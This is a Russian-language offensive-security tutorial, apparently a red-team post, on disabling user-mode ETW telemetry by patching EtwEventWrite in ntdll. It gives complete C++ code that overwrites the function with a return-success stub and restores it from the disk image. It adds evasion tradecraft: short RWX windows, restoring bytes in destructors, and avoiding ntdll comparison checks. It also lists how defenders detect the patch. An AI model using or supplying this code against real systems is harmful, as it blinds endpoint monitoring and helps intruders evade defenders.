Первое, что снимают при закреплении на машине — не хуки EDR, а user-mode ETW. Причина простая: половина интересной для защиты телеметрии идёт не через драйвер, а через провайдеров в юзерспейсе, и всё это упирается в одну функцию в ntdll — EtwEventWrite. Патчится в три инструкции.
Но перед кодом важная граница, потому что про неё постоянно врут. Патч EtwEventWrite выключает тех, кто вызывает функцию в своём процессе: .NET-события, журнал PowerShell, AMSI-провайдеры, кастомные провайдеры приложений. Он не выключает Sysmon — тот сидит драйвером. Не выключает kernel-ETW. Не выключает ETW Threat Intelligence, потому что тот требует Protected Process Light и снаружи не трогается вообще. Если тебе пишут, что один байт глушит весь мониторинг, дальше можно не читать.
// etw_patch.cpp — Windows 11 x64, MSVC, /std:c++20
#include <windows.h>
#include <vector>
#include <cstring>
static bool patch_bytes(void* addr, const BYTE* bytes, size_t n, BYTE* backup) {
DWORD old = 0;
if (!VirtualProtect(addr, n, PAGE_EXECUTE_READWRITE, &old)) return false;
if (backup) std::memcpy(backup, addr, n);
std::memcpy(addr, bytes, n);
VirtualProtect(addr, n, old, &old);
FlushInstructionCache(GetCurrentProcess(), addr, n);
return true;
}
// 33 C0 C3 = xor eax,eax ; ret -> STATUS_SUCCESS
bool etw_off(BYTE* backup) {
HMODULE ntdll = GetModuleHandleW(L"ntdll.dll");
if (!ntdll) return false;
auto fn = reinterpret_cast<BYTE*>(GetProcAddress(ntdll, "EtwEventWrite"));
if (!fn) return false;
static const BYTE stub[] = { 0x33, 0xC0, 0xC3 };
return patch_bytes(fn, stub, sizeof(stub), backup);
}
// возвращаем пролог из файла на диске: никакой копии в памяти не надо
bool etw_on() {
HMODULE ntdll = GetModuleHandleW(L"ntdll.dll");
if (!ntdll) return false;
auto fn = reinterpret_cast<BYTE*>(GetProcAddress(ntdll, "EtwEventWrite"));
if (!fn) return false;
const DWORD rva = static_cast<DWORD>(fn - reinterpret_cast<BYTE*>(ntdll));
HANDLE file = CreateFileW(L"C:\\Windows\\System32\\ntdll.dll",
GENERIC_READ, FILE_SHARE_READ, nullptr, OPEN_EXISTING, 0, nullptr);
if (file == INVALID_HANDLE_VALUE) return false;
LARGE_INTEGER size{};
GetFileSizeEx(file, &size);
std::vector<BYTE> raw(static_cast<size_t>(size.QuadPart));
DWORD read = 0;
BOOL ok = ReadFile(file, raw.data(), static_cast<DWORD>(raw.size()), &read, nullptr);
CloseHandle(file);
if (!ok) return false;
auto* dos = reinterpret_cast<PIMAGE_DOS_HEADER>(raw.data());
if (dos->e_magic != IMAGE_DOS_SIGNATURE) return false;
auto* nt = reinterpret_cast<PIMAGE_NT_HEADERS>(raw.data() + dos->e_lfanew);
if (nt->Signature != IMAGE_NT_SIGNATURE) return false;
auto* sec = IMAGE_FIRST_SECTION(nt);
for (WORD i = 0; i < nt->FileHeader.NumberOfSections; ++i, ++sec) {
const DWORD start = sec->VirtualAddress;
const DWORD span = sec->Misc.VirtualSize > sec->SizeOfRawData
? sec->Misc.VirtualSize : sec->SizeOfRawData;
if (rva < start || rva >= start + span) continue;
const BYTE* clean = raw.data() + sec->PointerToRawData + (rva - start);
const size_t n = 16;
DWORD old = 0;
if (!VirtualProtect(fn, n, PAGE_EXECUTE_READWRITE, &old)) return false;
std::memcpy(fn, clean, n);
VirtualProtect(fn, n, old, &old);
FlushInstructionCache(GetCurrentProcess(), fn, n);
return true;
}
return false;
}Сам патч: две инструкции, xor eax, eax и ret. Функция возвращает STATUS_SUCCESS = 0, вызывающая сторона довольна, события не уходят. Работает и на x86, и на x64, потому что соглашение вызова тут не нарушается — мы возвращаемся по ret из стека, просто ничего не делаем по дороге.
PAGE_EXECUTE_READ на секции .text менять надо через VirtualProtect, а после записи — вернуть старую защиту. Если оставить RWX, то это уже не скрытность, а самоподпись кровью: EDR, который смотрит на карту памяти, увидит исполняемую и перезаписываемую страницу в ntdll и обрадуется.
Второй кусок — откат. Держать патч постоянно бессмысленно: любой, кто сравнивает .text с образом на диске, найден за один проход, а памяти это ничего не стоит. Поэтому патчим на время чувствительной операции, потом возвращаем байты из свежего образа. Функция ниже берёт смещение EtwEventWrite в живом ntdll, находит эту же секцию в файле на диске и копирует оттуда пролог.
Пользоваться так: сохранил бэкап, выключил, сделал что надо, вернул. Если операция короткая и в ней может упасть процесс — верни байты в деструкторе, а не в конце функции, иначе при исключении патч останется висеть, и это ровно тот случай, когда тебя находят через сутки, когда ты уже забыл.
Что по детекту, честно. Сравнение с диском находит это за один проход, и все серьёзные продукты это делают: они мапят свежий образ ntdll себе и сравнивают хэш .text. Второй признак — PAGE_EXECUTE_READWRITE на секции ntdll, даже если она прожила миллисекунды: события NtProtectVirtualMemory с RWX на системные модули уходят в ETW-TI, а он kernel-side и его не патчат из юзерспейса. Третий — hardware breakpoint на запись в .text ntdll, дешёвый и незаметный для тебя, но об этом обычно узнают на разборе.
Против первых двух работает не патч, а то, что вокруг него. Не трогать ntdll вообще: пересобрать цепочку вызовов так, чтобы ETW-провайдеры просто не вызывались в твоём процессе, — дороже по времени, зато нечего сравнивать. Или патчить каждый вызов заново короткими окнами, чтобы окно RWX жило микросекунды и не попало в сэмплирование. Оба варианта требуют понимания, какие провайдеры у тебя реально включены, а не гадания.
И самое полезное из практики: перед тем как что-то глушить, посмотри, что у тебя вообще шлётся. Мы как-то полдня ловили утечку телеметрии, которая оказалась событиями самого патчера — он писал свой лог через .NET-провайдер, тот честно уходил в коллектор, и в логе было видно всё, включая имя процесса и время работы. Патч работал идеально.
Собирается как обычный консольный проект MSVC, зависимостей нет — нужен только ntdll и образ системы на диске. Если винда стоит не на диске C:, поправь путь в etw_on, там одна строка.